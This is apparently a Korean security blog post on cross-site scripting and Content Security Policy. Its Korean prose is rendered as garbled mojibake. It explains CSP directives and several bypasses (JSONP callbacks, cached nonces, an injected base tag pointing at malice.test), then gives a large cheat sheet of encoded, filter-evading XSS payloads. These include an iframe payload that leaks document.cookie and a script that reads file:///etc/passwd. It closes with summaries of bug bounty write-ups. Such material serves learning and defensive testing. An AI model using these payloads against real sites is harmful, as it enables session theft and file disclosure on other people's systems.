Cross Site Scripting(XSS) & CSP

Cross Site Scripting(XSS) & CSP

in

Cross Site Scripting(XSS)


๐Ÿ”Ž CSP (Content Security Policy)

CSP(์ปจํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…)์€ XSS๋‚˜ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด ๋ฐœ์ƒํ•˜์˜€์„ ๋•Œ ํ”ผํ•ด๋ฅผ ์ค„์ด๊ณ  ์›น ๊ด€๋ฆฌ์ž๊ฐ€ ๊ณต๊ฒฉ ์‹œ๋„๋ฅผ ๋ณด๊ณ  ๋ฐ›์„ ์ˆ˜ ์žˆ๋„๋ก ์ƒˆ๋กญ๊ฒŒ ์ถ”๊ฐ€๋œ ๋ณด์•ˆ ๊ณ„์ธต์ž…๋‹ˆ๋‹ค.
XSS ๊ณต๊ฒฉ์˜ ๊ฒฝ์šฐ, ํŽ˜์ด์ง€ ๋‚ด์— ๊ต๋ฌ˜ํ•˜๊ฒŒ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜์—ฌ ๋งˆ์น˜ ์›๋ž˜ ํŽ˜์ด์ง€์˜ ์ปจํ…์ธ ์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์†์ด๊ณ  ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…์„ ์šฐํšŒํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.
์ด์— ๋”ฐ๋ผ ํŽ˜์ด์ง€์˜ ์ปจํ…์ธ ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ž์›๋“ค์ด ๋ชจ๋‘ ์›น ์„œ๋ฒ„์—์„œ ์˜๋„ํ•œ ์ž์›์ด ๋งž๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด Content Security Policy(CSP) ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

CSP๋Š” ์ธ๋ผ์ธ ์ฝ”๋“œ(Inline Code)๋ฅผ ์œ ํ•ดํ•˜๋‹ค๊ณ  ๊ฐ„์ฃผํ•˜์—ฌ CSP์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
script ํƒœ๊ทธ ๋‚ด์— ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•˜์—ฌ on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ, javascript: ์™€ ๊ฐ™์€ URL ์Šคํ‚ด ๋˜ํ•œ ์ธ๋ผ์ธ ์ฝ”๋“œ๋กœ ๊ฐ„์ฃผํ•˜์—ฌ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

<script>alert(1);</script> (๋ถˆ๊ฐ€๋Šฅ)
<script src="alert.js"></script> (๊ฐ€๋Šฅ)

Policy Directive

Policy-directive๋Š” <directive> <value> ํ˜•ํƒœ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.
directive๋Š” ์ง€์‹œ๋ฌธ์ด๋ผ๊ณ  ๋ถ€๋ฅด๋ฉฐ, ์ปจํ…์ธ  ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ์„ธ๋ถ„ํ™” ํ•ด ์–ด๋–ค ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ถœ์ฒ˜๋ฅผ ์ œ์–ดํ• ์ง€ ๊ฒฐ์ •ํ•˜๋ฉฐ, value ๋ถ€๋ถ„์—๋Š” directive์—์„œ ์ •์˜ํ•œ ๋ฆฌ์†Œ์˜ ์ถœ์ฒ˜๋ฅผ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. value์—๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ถœ์ฒ˜๊ฐ€ ์ •์˜๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๊ณต๋ฐฑ์„ ํ†ตํ•ด ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค.

์ง€์‹œ๋ฌธ ์„ค๋ช…
default-src -src๋กœ ๋๋‚˜๋Š” ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์˜ ๊ธฐ๋ณธ ๋™์ž‘์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ CSP๊ตฌ๋ฌธ ๋‚ด์—์„œ ์ง€์ •ํ•˜์ง€ ์•Š์€ ์ง€์‹œ๋ฌธ์ด ์กด์žฌํ•œ๋‹ค๋ฉด defualt-src์˜ ์ •์˜๋ฅผ ๋”ฐ๋ผ๊ฐ‘๋‹ˆ๋‹ค.
img-src ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์ถœ์ฒ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
script-src ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
style-src ์Šคํƒ€์ผ์‹œํŠธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
child-src ํŽ˜์ด์ง€ ๋‚ด์— ์‚ฝ์ž…๋œ ํ”„๋ ˆ์ž„ ์ปจํ…์ธ ์— ๋Œ€ํ•œ ์ถœ์ฒ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
base-uri ํŽ˜์ด์ง€์˜ ํƒœ๊ทธ์— ๋‚˜ํƒ€๋‚  ์ˆ˜์žˆ๋Š” URL์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.

value ๋ถ€๋ถ„์œผ๋กœ ์˜ฌ ์ˆ˜ ์žˆ๋Š” ์ถœ์ฒ˜์˜ ์ข…๋ฅ˜์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ value ๋ถ€๋ถ„์—๋Š” URL์„ ์ „๋‹ฌ๋ฐ›์œผ๋‚˜ ์™€์ผ๋“œ ์นด๋“œ์˜ ์‚ฌ์šฉ, ํŠน์ˆ˜ํ•œ ๋ชฉ์ ์˜ ์ถœ์ฒ˜๋„ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

์ถœ์ฒ˜ ์„ค๋ช…
*://example.com ์ถœ์ฒ˜์˜ scheme์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
https://*.example.com ์ถœ์ฒ˜์˜ ํ˜ธ์ŠคํŠธ ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.(๋‹จ, ์™€์ผ๋“œ์นด๋“œ๋Š” ์ค‘๊ฐ„์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†์Œ)
https://example.com:* ์ถœ์ฒ˜์˜ ํฌํŠธ๋Š” ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
none ๋ชจ๋“  ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
self ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜(Origin)๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
unsafe-inline ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
unsafe-eval ์˜ˆ์™ธ์ ์œผ๋กœ eval๊ณผ ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ณ€ํ™˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
nonce-(base64-value) nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. base64-value๋Š” ๋ฐ˜๋“œ์‹œ ์š”์ฒญ๋งˆ๋‹ค ๋‹ค๋ฅธ ๋‚œ์ˆ˜์˜ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•˜๋ฉฐ ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
(hash-algorithm)-(base64-value script ํ˜น์€ style ํƒœ๊ทธ ๋‚ด ์ฝ”๋“œ์˜ ํ•ด์‹œ๋ฅผ ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด unsafe-inline์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

CSP Bypass

  • ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ
    CSP๋ฅผ ์ด์šฉํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํŠน์ • ์ถœ์ฒ˜์—์„œ๋งŒ ์ž์›์„ ๋ถˆ๋Ÿฌ์˜ค๊ฒŒ๋” ์ œํ•œํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋งŒ์•ฝ ํ•ด๋‹น ์ถœ์ฒ˜๊ฐ€ ํŒŒ์ผ์—…๋กœ๋“œ ๋ฐ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ถœ์ฒ˜์— ์Šคํฌ๋ฆฝํŠธ์™€ ๊ฐ™์€ ์ž์›์„ ์—…๋กœ๋“œํ•œ ๋’ค ๋‹ค์šด๋กœ๋“œ ๊ฒฝ๋กœ๋กœ ์›นํŽ˜์ด์ง€์— ์ž์›์„ ํฌํ•จ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
<meta http-equiv="Content-Security-Plicy" content="script-src 'self'">
# ์šฐํšŒ
<script src="/download_file.php?id=177742"></script>
<script src="/vuln?param=alert(1)"></script>
  • JSONP API
    ๋งŒ์•ฝ CSP์—์„œ ํ—ˆ์šฉํ•œ ์ถœ์ฒ˜๊ฐ€ JSONP API๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด, callback ํŒŒ๋ผ๋ฏธํ„ฐ์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
    ์›นํŽ˜์ด์ง€์—์„œ *.google.com ์—์„œ ์˜จ ์ถœ์ฒ˜๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๊ณ  ํ•˜๋ฉด ๊ตฌ๊ธ€์—์„œ JSON API๋ฅผ ์ง€์›ํ•˜๋Š” ์„œ๋ฒ„๋ฅผ ์ฐพ์•„ callback์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    ์ด๋Ÿด ๊ฒฝ์šฐ๋Š” ์ฝœ๋ฐฑ ์ด๋ฆ„์— ์‹๋ณ„์ž๋ฅผ ์ œ์™ธํ•œ ๋ฌธ์ž๋ฅผ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ์ด๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ JSONP๋ณด๋‹ค๋Š” CORS๋ฅผ ์ง€์›ํ•˜๋Š” API๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
  • nonce ์˜ˆ์ธก ๊ฐ€๋Šฅ
    CSP์˜ nonce๋ฅผ ์ด์šฉํ•˜๋ฉด ๋”ฐ๋กœ ๋„๋ฉ”์ธ์ด๋‚˜ ํ•ด์‹œ ๋“ฑ์„ ์ง€์ •ํ•˜์ง€ ์•Š์•„๋„ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜ˆ์ธกํ•  ์ˆ˜ ์—†๋Š” nonce ๊ฐ’์ด ํƒœ๊ทธ ์†์„ฑ์— ์กด์žฌํ•  ๊ฒƒ์„ ์š”๊ตฌํ•จ์œผ๋กœ์จ XSS๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    nonce๊ฐ’์€ ๋ณดํ†ต ์š”์ฒญ๋งˆ๋‹ค ์ƒˆ๋กœ ์ƒ์„ฑ๋จ (๋‹จ ๊ณต๊ฒฉ์ž๊ฐ€ nonce๊ฐ’์„ ์ทจ๋“ํ•˜๊ฑฐ๋‚˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ์ทจ์•ฝํ•˜์—ฌ ์˜ˆ์ธกํ•  ์ˆ˜ ์—†์–ด์•ผ ํ•จ)
    nonce๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” nonce๊ฐ’์„ ๋‹ด๊ณ  ์žˆ๋Š” HTTPํ—ค๋” ๋˜๋Š” meta ํƒœ๊ทธ๊ฐ€ ์บ์‹ฑ๋˜์ง€ ์•Š๋Š”์ง€ ์ฃผ์˜ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.
    PHP๋‚˜ CGI๊ณ„์—ด ์Šคํฌ๋ฆฝํŒ…์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค์ด /index.php/style.css ์ฒ˜๋Ÿผ ๋’ค์— ์ถ”๊ฐ€์ ์ธ ๊ฒฝ๋กœ๋ฅผ ๋ถ™์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ๋งŒ์•ฝ ์บ์‹œ์„œ๋ฐ”๊ฐ€ ํ™•์žฅ์ž๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์บ์‹œ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•œ๋‹ค๋ฉด .css๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์ •์ ํŒŒ์ผ์ด๋ฏ€๋กœ ๋™์  ์ฝ˜ํ…์ธ ๋กœ ๊ฐ„์ฃผํ•˜์ง€ ์•Š์•„ ์บ์‹œ์— ์ €์žฅํ•  ์ˆ˜ ์žˆ์–ด ์บ์‹œ๊ฐ€ ๋งŒ๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ์š”์ฒญ์‹œ๋งˆ๋‹ค ๊ฐ™์€ nonce๊ฐ€ ๋Œ์•„์˜ค๊ธฐ ๋–„๋ฌธ์— ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ nonce๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    ์ฝ˜ํ…์ธ ๊ฐ€ ์บ์‹œ๋˜์–ด ์„œ๋ฒ„ ์ธก XSS๋Š” ์ผ์–ด๋‚˜์ง€ ์•Š์œผ๋‚˜, DOM XSS ๋“ฑ ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ผ์–ด๋‚  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
<script nonce="{๊ณ ์ •๋œ nonce ๊ฐ’}">alert(1);</script>
  • base-uri ๋ฏธ์ง€์ •
    HTML ํ•˜์ดํผ๋งํฌ์—์„œ ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ ์—†์ด ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ํ˜„์žฌ ๋ฌธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ฃผ์†Œ๋ฅผ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค.
    HTML base ํƒœ๊ทธ๋Š” ๊ฒฝ๋กœ๊ฐ€ ํ•ด์„๋˜๋Š” ๊ธฐ์ค€์ ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ฉฐ a, form ๋“ฑ์˜ targer ์†์„ฑ์˜ ๊ธฐ๋ณธ ๊ฐ’์„ ์ง€์ •ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
    ๋งŒ์ผ ๊ณต๊ฒฉ์ž๊ฐ€ <base href="https://malice.test/xss-proxy/"> ์™€ ๊ฐ™์€ ๋งˆํฌ์—…์„ ์‚ฝ์ž…ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์ž์›์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜์–ด ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ ๋“ฑ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. base-uri ์ง€์‹œ๋ฌธ์„ ์ž„์˜๋กœ ์ง€์ •ํ•˜์ง€ ์•Š๋Š” ์ด์ƒ defulat ์ดˆ๊ธฐ ๊ฐ’์ด ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๊ฐœ๋ฐœํ• ๋•Œ ๋ฐ˜๋“œ์‹œ base-uri ์ง€์‹œ๋ฌธ์„ ์ •์˜ํ•ด์ฃผ์–ด์•ผํ•จ.
# base ํƒœ๊ทธ์˜ URL ์ œํ•œ
Content-Security-Policy: base-uri 'none'
# base ํƒœ๊ทธ์˜ ์ œํ•œ์ด ์—†์„ ์‹œ ์ž„์˜ ์ž์› ์—…๋กœ๋“œ
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>

๐Ÿ Cheat sheet

  • Common Payloads
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
  • normalize(์ •๊ทœํ™”) ์šฐํšŒ
# GET์—์„œ๋Š” %09 POST์—์„œ๋Š” ์‹ค์ œ TAB ๊ฐ’ '    ' ์ž…๋ ฅ ์‹œ normalize๊ณผ์ •์—์„œ ์‚ญ์ œ๋จ
<script src="URI"></script> <!-- URI์— ์š”์ฒญํ•ด์„œ ๋ฐ›์€ ๊ฒƒ์„ innerHTML ์•ˆ์— ๋„ฃ์–ด์ค๋‹ˆ๋‹ค -->
<a href="URI">click me</a> <!-- ํด๋ฆญํ•˜๋ฉด ํ˜„์žฌ ์ฐฝ(window)์ด URI๋กœ ๊ฐ‘๋‹ˆ๋‹ค(go) -->
<iframe src="URI"></iframe> <!-- iframe ์•ˆ์˜ ์ฐฝ(window)์ด URI๋กœ ๊ฐ‘๋‹ˆ๋‹ค(go)-->
<img src="URI"/> <!-- URI์— ์š”์ฒญํ•ด์„œ ๋ฐ›์€ ๊ฒƒ์„ ์ด๋ฏธ์ง€๋กœ ๋ณด์—ฌ์คŒ -->

<iframe src="javascri%09pt:parent.locatio%09n.href='/memo?memo='%2bdocume%09nt.cookie">
  • IMG alert bypass
//IMG onerror and JavaScript Alert Encode
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

//Decimal HTML Character References
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

//Decimal HTML Character References Without Trailing Semicolonsยถ
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

//Hexadecimal HTML Character References Without Trailing Semicolonsยถ
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  • Bypass using ECMAScript6 (๊ฐ€๋กœ์šฐํšŒ)
# ๋ฐฑํ‹ฑ
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
  • Server Side XSS(Dynamic PDF) / HTB-Book ์ฐธ์กฐ
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>

๐Ÿž BugBounty Write up

๋‹ค๋ฅธ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฐœ๊ฒฌํ•˜์—ฌ ์˜ฌ๋ฆฐ ์ทจ์•ฝ์ ์„ ๋ฒˆ์—ญํ•œ ๊ธ€๋“ค์ž…๋‹ˆ๋‹ค

CSRF ํ† ํฐ ์‚ฌ์šฉ Reflected XSS

https://mostafa-mano.medium.com/2-reflected-xss-in-razer-74783ae5ee53

XSS ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฐพ์„๋•Œ CSRF ํ† ํฐ์ด ์ฃผ์„์ฒ˜๋ฆฌ๋˜์–ด ์‘๋‹ต๊ฐ’์— ๋ฐ˜์—ฌ๋˜๊ณ  ์žˆ๋‹ค๋Š”๊ฒƒ์„ ํ™•์ธ
CSRFํ† ํฐ์— --> ์œผ๋กœ ์ฃผ์„์„ ๋‹ซ์€ ํ›„ <h1> ํƒœ๊ทธ ์ž…๋ ฅ์‹œ HTML ์‘๋‹ต๊ฐ’์— ๋ฐ˜์˜

--><h1>hacked</h1>

csrf_xss1 ์ฃผ์„์„ ๋‹ซ์€ ํ›„ ์‘๋‹ต๊ฐ’ ํ™•์ธ

csrf_xss2 ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž…๋ ฅ๋˜์–ด ๋ฒ„ํŠผ ์ƒ์„ฑ

CSP ์šฐํšŒ to perform XSS using MIME sniffing

https://infosecwriteups.com/content-security-policy-bypass-to-perform-xss-3c8dd0d40c2e

CSP๊ฐ€ ์™ธ๋ถ€ XSS ์‹คํ–‰์„ ์ฐจ๋‹จํ•˜๊ณ  ์žˆ์–ด ์ •์ƒ์ ์ธ XSS ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์„๋•Œ, ๋‹ค๋ฅธ ์—”๋“œํฌ์ธํŠธ์—์„œ CSP์— ์˜ํ•ด ์ฐจ๋‹จ๋˜๋Š” XSS๋ฅผ ๋ฐœ๊ฒฌ ํ›„ ์ด๋“ค์„ ๊ฒฐํ•ฉํ•˜์—ฌ CSP ์šฐํšŒํ•˜๊ณ  MIME sniffing์„ ์‚ฌ์šฉํ•˜์—ฌ XSS ์‹คํ–‰ํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

1. ์ฒซ๋ฒˆ์งธ XSS ๋ฐœ๊ฒฌ

name ํŒŒ๋ผ๋ฏธํ„ฐ ์ž…๋ ฅ๊ฐ’์ด ์›น body์— ํ‘œํ˜„๋˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

csp_xss1

String ์ž…๋ ฅ๊ฐ’ ๋Œ€์‹ ์— ๊ฐ„๋‹จํ•œ HTML ํŽ˜์ด๋กœ๋“œ(<h1>kleiton0x00</h1>)๋ฅผ ์ž…๋ ฅ ํ•  ๊ฒฝ์šฐ ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๊ฐ€ body์— ๋ฐ˜์˜๋˜์–ด html๋กœ ๋‚˜ํƒ€๋‚˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

csp_xss2

html injection์ด ์„ฑ๊ณตํ•˜์˜€์œผ๋‹ˆ, xss ํŽ˜์ด๋กœ๋“œ <script>alert(1)</script> ๋ฅผ ์ž…๋ ฅํ•˜์˜€์„๊ฒฝ์šฐ ํ•„ํ„ฐ๋ง์ฒ˜๋ฆฌ ์—†์ด ์ •์ƒ์ ์œผ๋กœ ๊ฐ’์ด ์ž…๋ ฅ๋˜์ง€๋งŒ CSP์— ์˜ํ•ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ๋ชปํ•˜๊ณ  ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.

csp_xss3

csp_xss4 ํ•„ํ„ฐ๋ง ์—†์ด ์Šคํฌ๋ฆฝํŠธ ๊ฐ’ ์ž…๋ ฅ๋จ

csp_xss5 ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์—์„œ ํ™•์ธ ์‹œ csp์— ์˜ํ•ด ์Šคํฌ๋ฆฝํŠธ ์ฐจ๋‹จ

Content Security Policy(CSP)๋Š” ์›น ์‚ฌ์ดํŠธ์— ์‚ฝ์ž…๋˜๋Š” ์™ธ๋ถ€ ์ฝ”๋“œ๋ฅผ ์ฐจ๋‹จํ•˜๋Š” HTTP ํ—ค๋”์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์ž˜ ๊ตฌํ˜„๋œ CSP๋Š” ๋‚ด๋ถ€ ์—”ํ‹ฐํ‹ฐ(๋„๋ฉ”์ธ ์ž์ฒด)์— ์˜ํ•œ ์Šคํฌ๋ฆฝํŠธ๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋จผ์ € CSP๊ฐ€ ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹๊ณผ ์›น์‚ฌ์ดํŠธ ๋‚ด๋ถ€์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์†Œ์Šค๋ฅผ ๊ฐ์ง€ํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

csp_xss6

